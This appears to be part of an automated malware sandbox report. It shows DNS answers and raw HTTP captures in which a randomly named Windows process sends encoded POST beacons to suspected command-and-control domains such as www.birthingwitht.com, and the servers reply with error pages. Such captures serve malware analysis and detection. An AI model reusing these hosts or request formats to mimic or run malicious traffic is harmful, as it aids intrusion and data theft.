                                                        May 27, 2024 12:28:47.806740999 CEST1.1.1.1192.168.2.70xf41cNo error (0)www.shopnaya.fr212.227.172.254A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:02.861352921 CEST1.1.1.1192.168.2.70xd02eNo error (0)www.yamlex.ru194.58.112.174A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:16.622797012 CEST1.1.1.1192.168.2.70xcff5No error (0)www.touchdres.top198.177.123.106A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:32.905267954 CEST1.1.1.1192.168.2.70x6b4aNo error (0)www.omilux.vnomilux.vnCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:29:32.905267954 CEST1.1.1.1192.168.2.70x6b4aNo error (0)omilux.vn103.28.36.189A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:32.905314922 CEST1.1.1.1192.168.2.70x6b4aNo error (0)www.omilux.vnomilux.vnCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:29:32.905314922 CEST1.1.1.1192.168.2.70x6b4aNo error (0)omilux.vn103.28.36.189A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:32.905344009 CEST1.1.1.1192.168.2.70x6b4aNo error (0)www.omilux.vnomilux.vnCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:29:32.905344009 CEST1.1.1.1192.168.2.70x6b4aNo error (0)omilux.vn103.28.36.189A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:46.617746115 CEST1.1.1.1192.168.2.70xcf23No error (0)www.duobao698.comduobao698.comCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:29:46.617746115 CEST1.1.1.1192.168.2.70xcf23No error (0)duobao698.com3.33.130.190A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:29:46.617746115 CEST1.1.1.1192.168.2.70xcf23No error (0)duobao698.com15.197.148.33A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:30:00.818588972 CEST1.1.1.1192.168.2.70x64dcNo error (0)www.ycwtch.co.ukcdn1.wixdns.netCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:30:00.818588972 CEST1.1.1.1192.168.2.70x64dcNo error (0)cdn1.wixdns.nettd-ccm-neg-87-45.wixdns.netCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:30:00.818588972 CEST1.1.1.1192.168.2.70x64dcNo error (0)td-ccm-neg-87-45.wixdns.net34.149.87.45A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:30:14.022574902 CEST1.1.1.1192.168.2.70xe541No error (0)www.geltipleasure.comgeltipleasure.comCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:30:14.022574902 CEST1.1.1.1192.168.2.70xe541No error (0)geltipleasure.com3.33.130.190A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:30:14.022574902 CEST1.1.1.1192.168.2.70xe541No error (0)geltipleasure.com15.197.148.33A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:30:30.043133974 CEST1.1.1.1192.168.2.70x46cfNo error (0)www.hilfe24x7.dehilfe24x7.deCNAME (Canonical name)IN (0x0001)false
                                                        May 27, 2024 12:30:30.043133974 CEST1.1.1.1192.168.2.70x46cfNo error (0)hilfe24x7.de3.33.130.190A (IP address)IN (0x0001)false
                                                        May 27, 2024 12:30:30.043133974 CEST1.1.1.1192.168.2.70x46cfNo error (0)hilfe24x7.de15.197.148.33A (IP address)IN (0x0001)false

                                                        HTTP Request Dependency Graph

                                                        • www.pricekaboom.com
                                                        • www.birthingwitht.com
                                                        • www.0bi8.fun
                                                        • www.galatalosangeles.org
                                                        • www.chillingtime.shop
                                                        • www.drednents.es
                                                        • www.shopnaya.fr
                                                        • www.yamlex.ru
                                                        • www.touchdres.top
                                                        • www.omilux.vn
                                                        • www.duobao698.com
                                                        • www.ycwtch.co.uk
                                                        • www.geltipleasure.com
                                                        • www.hilfe24x7.de

                                                        HTTP Packets

                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        0192.168.2.749712185.31.240.240806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:26:48.188481092 CEST407OUTGET /88is/?f4=xxLl5tHp-byppxH&MNodJD8p=Et7jFQQESHR6QMcH21WFfBueb87jCDciOXesV2PUTY+phHzqwibAOf6k5ayeI+rSGw4JUshP7eT3Dg0I6eQ+O8WQlCHWQqse33D+WHaqsKhBys2QaUSMPkBSAmePUjZQCr8qbSgJVbhV HTTP/1.1
                                                        Host: www.pricekaboom.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Connection: close
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        May 27, 2024 12:26:48.797646999 CEST1236INHTTP/1.1 404 Not Found
                                                        date: Mon, 27 May 2024 10:26:48 GMT
                                                        server: Apache / ZoneOS
                                                        last-modified: Mon, 06 Nov 2023 23:06:18 GMT
                                                        etag: "1d7b-60983e6d29793"
                                                        accept-ranges: bytes
                                                        content-length: 7547
                                                        connection: close
                                                        content-type: text/html
                                                        Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 3e 3c 74 69 74 6c 65 3e 34 30 34 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3a 72 6f 6f 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2d 2d 69 6c 6c 75 73 74 72 61 74 69 6f 6e 2d 6d 61 69 6e 2d 63 6f 6c 6f 72 3a 20 23 44 [TRUNCATED]
                                                        Data Ascii: <!doctype html><html lang="en"><head><meta charset="UTF-8"><meta http-equiv="Content-Security-Policy" content="default-src 'unsafe-inline'"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="robots" content="noindex"><title>404 Page Not Found</title><style>:root { --illustration-main-color: #D82E23 !important; }</style><style>.current-url { word-wrap: break-word; }</style><style type="text/css">:root { --main-text-color: #4E4E4E; --secondary-text-color: #959595; --illustration-main-color: #C3C3CC; --btn-border-radius: 0.25rem; --primary-btn-background: #C3C3CC; --primary-btn-color: #FCFCFC; --secondary-btn-background: #FCFCFC; --secondary-btn-color: #C3C3CC; --main-icon-color: #C3C3CC;}* { box-sizing: border-box; font-family: Arial, Helvetica, sans-serif; line-height: 1.5;}html { height: 100%;}html, body { margin: 0;}body {
                                                        May 27, 2024 12:26:48.797667980 CEST224INData Raw: 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 31 30 30 70 78 3b 0a 20 20 20 20 6d 69 6e 2d 68 65 69 67
                                                        Data Ascii: display: flex; flex-direction: column; padding-top: 100px; min-height: 100%; font-size: 16px; font-weight: 400; background-color: #FCFCFC;}.hidden { display: none;}.container, .hero {
                                                        May 27, 2024 12:26:48.798664093 CEST1236INData Raw: 20 6d 61 78 2d 77 69 64 74 68 3a 20 37 38 2e 31 32 35 72 65 6d 3b 0a 7d 0a 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 39 30 25 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 61 6c 69
                                                        Data Ascii: max-width: 78.125rem;}.container { width: 90%; margin: 0 auto; align-self: center;}.hero { display: flex; justify-content: space-between; align-self: center; min-height: 37.5rem; width: 100%; flex-di
                                                        May 27, 2024 12:26:48.798676968 CEST1236INData Raw: 6c 6f 72 29 3b 0a 7d 0a 0a 2e 62 61 63 6b 2d 62 74 6e 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 73 65 63 6f 6e 64 61 72 79 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 3b 0a 7d 0a 0a 2e 62 61 63 6b 2d 62 74 6e 3a 68 6f
                                                        Data Ascii: lor);}.back-btn:hover { color: var(--secondary-text-color);}.back-btn:hover .arrow-left path { fill: var(--secondary-text-color);}.button { padding: 0; margin: 0 1rem 0 0; border: none; border-radius: var(--btn
                                                        May 27, 2024 12:26:48.798687935 CEST1236INData Raw: 2d 77 72 61 70 70 65 72 20 7b 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 35 30 25 3b 0a 20 20 20 20 7d 0a 7d 0a 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 69
                                                        Data Ascii: -wrapper { width: 50%; }}</style></head><body><section class="container"><div class="content-et hidden"><h1 class="error-code">404</h1><h3 class="title">Lehte ei leitud</h3><p class="desc">Lehte <strong><span class="current-url">
                                                        May 27, 2024 12:26:48.798724890 CEST1236INData Raw: 56 31 30 2e 36 31 32 36 5a 22 20 66 69 6c 6c 3d 22 62 6c 61 63 6b 22 2f 3e 3c 2f 73 76 67 3e 20 54 61 67 61 73 69 3c 2f 62 75 74 74 6f 6e 3e 3c 70 20 63 6c 61 73 73 3d 22 61 75 74 6f 2d 70 6c 61 63 65 64 22 3e d0 ad d1 82 d0 b0 20 d1 81 d1 82 d1
                                                        Data Ascii: V10.6126Z" fill="black"/></svg> Tagasi</button><p class="auto-placed"> Zone .</p></div><div class="content-fi hidden"><h1 class="error-code">404
                                                        May 27, 2024 12:26:48.798736095 CEST1236INData Raw: 39 20 31 39 4c 31 20 31 30 2e 30 30 30 36 4c 31 30 2e 30 30 30 36 20 31 4c 31 30 2e 38 36 35 39 20 31 2e 38 36 35 33 4c 33 2e 33 34 32 35 36 20 39 2e 33 38 38 36 36 48 31 39 56 31 30 2e 36 31 32 36 5a 22 20 66 69 6c 6c 3d 22 62 6c 61 63 6b 22 2f
                                                        Data Ascii: 9 19L1 10.0006L10.0006 1L10.8659 1.8653L3.34256 9.38866H19V10.6126Z" fill="black"/></svg> Go Back</button><p class="auto-placed">This page is placed here automatically by Zone.</p></div></section><script defer="defer">(()=>{var e={225:()=>{con
                                                        May 27, 2024 12:26:48.798748016 CEST157INData Raw: 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6f 2c 7b 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 74 5b 6f 5d 7d 29 7d 2c 72 2e 6f 3d 28 65 2c 74 29 3d 3e 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50
                                                        Data Ascii: .defineProperty(e,o,{enumerable:!0,get:t[o]})},r.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{"use strict";r(225)})()})();</script></body></html>


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        1192.168.2.74971334.149.87.45806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:05.650755882 CEST676OUTPOST /v0eo/ HTTP/1.1
                                                        Host: www.birthingwitht.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.birthingwitht.com
                                                        Referer: http://www.birthingwitht.com/v0eo/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 30 31 4a 2f 50 2b 77 48 4b 58 43 6b 52 73 61 2b 39 48 33 7a 63 67 6a 34 2b 2f 76 7a 58 58 73 66 6d 37 5a 32 47 4e 72 53 73 47 70 56 54 6f 46 44 6c 2b 4d 4e 72 6d 43 74 43 59 39 4c 48 74 67 50 36 38 55 74 41 69 6d 64 4a 6b 49 79 59 65 48 5a 72 65 46 6d 30 69 65 49 49 6a 66 4c 55 68 41 72 6c 43 63 61 73 34 50 66 70 38 46 4e 6c 53 42 46 63 45 6e 74 74 56 35 6e 59 2b 69 32 32 6f 30 71 59 71 53 35 4f 6a 62 5a 46 42 2b 77 79 6c 5a 55 46 72 46 56 4a 2b 78 36 43 31 39 32 35 78 6e 38 5a 42 52 53 64 49 59 70 37 56 31 54 5a 51 31 31 61 63 31 4b 38 58 45 2b 7a 32 54 71 41 78 59 56 54 73 51 63 55 6d 68 75 45 39 5a 61 75 62 51 31 6d 77 3d 3d
                                                        Data Ascii: MNodJD8p=01J/P+wHKXCkRsa+9H3zcgj4+/vzXXsfm7Z2GNrSsGpVToFDl+MNrmCtCY9LHtgP68UtAimdJkIyYeHZreFm0ieIIjfLUhArlCcas4Pfp8FNlSBFcEnttV5nY+i22o0qYqS5OjbZFB+wylZUFrFVJ+x6C1925xn8ZBRSdIYp7V1TZQ11ac1K8XE+z2TqAxYVTsQcUmhuE9ZaubQ1mw==
                                                        May 27, 2024 12:27:06.121387005 CEST1077INHTTP/1.1 403 Forbidden
                                                        Content-Length: 548
                                                        Content-Type: text/html
                                                        Server: Pepyaka
                                                        X-Wix-Request-Id: 1716805626.077117947411910893
                                                        X-Content-Type-Options: nosniff
                                                        Accept-Ranges: bytes
                                                        Date: Mon, 27 May 2024 10:27:06 GMT
                                                        X-Served-By: cache-iad-kiad7000099-IAD
                                                        X-Cache: MISS
                                                        X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLk1Uxi5aVwrmRyfWZ8T7SgAMbwluI1yUDJty9McxOlfY
                                                        Via: 1.1 google
                                                        glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
                                                        Connection: close
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                        Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        2192.168.2.75927034.149.87.45806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:08.602317095 CEST696OUTPOST /v0eo/ HTTP/1.1
                                                        Host: www.birthingwitht.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.birthingwitht.com
                                                        Referer: http://www.birthingwitht.com/v0eo/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 30 31 4a 2f 50 2b 77 48 4b 58 43 6b 51 4e 71 2b 2b 6b 50 7a 5a 41 6a 2f 77 66 76 7a 63 33 73 62 6d 37 56 32 47 4e 44 38 74 30 39 56 54 4b 64 44 6b 38 6b 4e 6d 47 43 74 4e 34 39 43 4b 4e 68 44 36 38 51 6c 41 6e 4f 64 4a 69 6b 79 59 65 33 5a 71 76 46 35 31 79 65 77 45 44 66 4a 58 52 41 72 6c 43 63 61 73 34 4b 30 70 38 64 4e 6c 69 52 46 61 68 4c 75 6b 31 35 6f 51 65 69 32 79 6f 30 75 59 71 54 63 4f 6e 62 7a 46 43 47 77 79 68 64 55 46 2f 5a 55 47 2b 78 77 50 56 38 30 2f 45 53 51 54 69 31 4a 51 70 6b 31 31 57 46 7a 59 6d 6f 58 41 2b 35 6d 69 47 38 46 33 30 33 63 58 58 46 67 52 74 55 45 5a 45 56 50 62 4b 38 77 6a 4a 78 78 77 43 6c 54 33 33 45 64 34 39 51 30 59 48 42 63 46 44 6c 34 69 30 45 3d
                                                        Data Ascii: MNodJD8p=01J/P+wHKXCkQNq++kPzZAj/wfvzc3sbm7V2GND8t09VTKdDk8kNmGCtN49CKNhD68QlAnOdJikyYe3ZqvF51yewEDfJXRArlCcas4K0p8dNliRFahLuk15oQei2yo0uYqTcOnbzFCGwyhdUF/ZUG+xwPV80/ESQTi1JQpk11WFzYmoXA+5miG8F303cXXFgRtUEZEVPbK8wjJxxwClT33Ed49Q0YHBcFDl4i0E=
                                                        May 27, 2024 12:27:09.078011990 CEST1077INHTTP/1.1 403 Forbidden
                                                        Content-Length: 548
                                                        Content-Type: text/html
                                                        Server: Pepyaka
                                                        X-Wix-Request-Id: 1716805629.034119434365824675
                                                        X-Content-Type-Options: nosniff
                                                        Accept-Ranges: bytes
                                                        Date: Mon, 27 May 2024 10:27:09 GMT
                                                        X-Served-By: cache-iad-kjyo7100104-IAD
                                                        X-Cache: MISS
                                                        X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLkiHzpTYSDRA7u88Ic3Fde4MbwluI1yUDJty9McxOlfY
                                                        Via: 1.1 google
                                                        glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
                                                        Connection: close
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                        Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                        3192.168.2.75927234.149.87.45806328C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:27:11.133339882 CEST1709OUTPOST /v0eo/ HTTP/1.1
                                                        Host: www.birthingwitht.com
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.birthingwitht.com
                                                        Referer: http://www.birthingwitht.com/v0eo/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 30 31 4a 2f 50 2b 77 48 4b 58 43 6b 51 4e 71 2b 2b 6b 50 7a 5a 41 6a 2f 77 66 76 7a 63 33 73 62 6d 37 56 32 47 4e 44 38 74 30 6c 56 51 35 56 44 6c 62 34 4e 6e 47 43 74 54 6f 39 48 4b 4e 67 5a 36 39 30 70 41 6e 4b 72 4a 68 51 79 59 39 50 5a 69 36 6c 35 2b 79 65 77 5a 7a 66 45 55 68 42 68 6c 43 4d 65 73 34 61 30 70 38 64 4e 6c 6e 64 46 5a 30 6e 75 6f 56 35 6e 59 2b 69 36 32 6f 31 4a 59 71 4c 71 4f 6e 57 47 46 7a 6d 77 79 42 4e 55 44 4d 78 55 50 2b 78 2b 4d 56 38 57 2f 45 57 50 54 69 70 72 51 70 51 50 31 56 56 7a 56 7a 73 4f 59 2b 67 2b 67 56 38 48 77 69 33 73 58 58 73 63 59 63 55 62 52 6c 73 74 53 72 67 64 6c 49 38 38 38 56 6f 65 67 45 41 78 67 75 77 46 4a 43 6f 52 65 42 4a 41 38 45 77 74 75 4d 49 69 6f 7a 54 77 70 5a 65 77 75 31 37 52 73 63 37 71 30 55 45 45 51 77 4f 42 6c 52 48 34 50 31 42 70 47 31 37 76 41 47 54 4f 58 6c 6e 42 35 72 4a 33 2f 6a 35 67 32 5a 72 47 76 49 58 36 4d 77 48 6d 71 4e 6f 61 30 71 34 31 6d 79 61 77 4a 59 61 4b 79 55 52 78 74 34 41 4c 63 32 72 34 45 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=01J/P+wHKXCkQNq++kPzZAj/wfvzc3sbm7V2GND8t0lVQ5VDlb4NnGCtTo9HKNgZ690pAnKrJhQyY9PZi6l5+yewZzfEUhBhlCMes4a0p8dNlndFZ0nuoV5nY+i62o1JYqLqOnWGFzmwyBNUDMxUP+x+MV8W/EWPTiprQpQP1VVzVzsOY+g+gV8Hwi3sXXscYcUbRlstSrgdlI888VoegEAxguwFJCoReBJA8EwtuMIiozTwpZewu17Rsc7q0UEEQwOBlRH4P1BpG17vAGTOXlnB5rJ3/j5g2ZrGvIX6MwHmqNoa0q41myawJYaKyURxt4ALc2r4E+BHlx41dJQdylEKkJWAVWm6HiJtCuQdFfDQArq9aGlOrqEVtirB0RmNMe7/qPTPuoYU4ExFo6QsirJcgA4DXP2br+MCGsp5QdI0Ij2/5JRUSl57476EGy+sQowrXcf1lfGGdhsVCfLPi0s/z5TbCs4aM/Eg8ZRYfnqmzYmptr+syaBx5NM47ay/xoznawr3J8Ma127VGa5muHGoE9t5K/oy63NeLPJiudrbRk5v2H/GbKNlvYmSZy8P4sPNIh3VfVtkCPnL6lV3MUIoQTgnz482/1jIblhsDlSelNOeFKetXPnZ40okDg2jWPCmhjvaZzb0EkUwu97o/hq+S8aTlRVjpjjEGnLNA/ZbwOL9gy8WAhz4RBJ/MUY5f6/mXvvk/jCOVAVacYZeBgIFCzunlsYYqSJeidyKUXwQ0TsAX5bDX8N9W6oaawOmkHYFo0aKmllRKlfKLvZxYPoJi8qMCxg+qDtM/MpITyjhtc6vC99OVB86w9DTJefvVB+mioXL5TNaB2iTOQQ8l+GLLEHk6yxnihCD+PytuY+zcyIjx6mVTdQTYGcCF6kkQJNx0/7pvp7PqU3dRBqFIiGZqVX0DY+LyXKcyoLajYF00abmseLpV/Pr86lkUMDj1JHuxCyA+3or1AaKixgdAmtilj8vWyXNgR2CBWlsKim [TRUNCATED]
                                                        May 27, 2024 12:27:11.643389940 CEST1077INHTTP/1.1 403 Forbidden
                                                        Content-Length: 548
                                                        Content-Type: text/html
                                                        Server: Pepyaka
                                                        X-Wix-Request-Id: 1716805631.598117452235112260
                                                        X-Content-Type-Options: nosniff
                                                        Accept-Ranges: bytes
                                                        Date: Mon, 27 May 2024 10:27:11 GMT
                                                        X-Served-By: cache-iad-kiad7000077-IAD
                                                        X-Cache: MISS
                                                        X-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLucaPCRnkaJkWJZne822xega0sM5c8dDUFHeNaFq0qDu
                                                        Via: 1.1 google
                                                        glb-x-seen-by: bS8wRlGzu0Hc+WrYuHB8QIg44yfcdCMJRkBoQ1h6Vjc=
                                                        Connection: close
                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 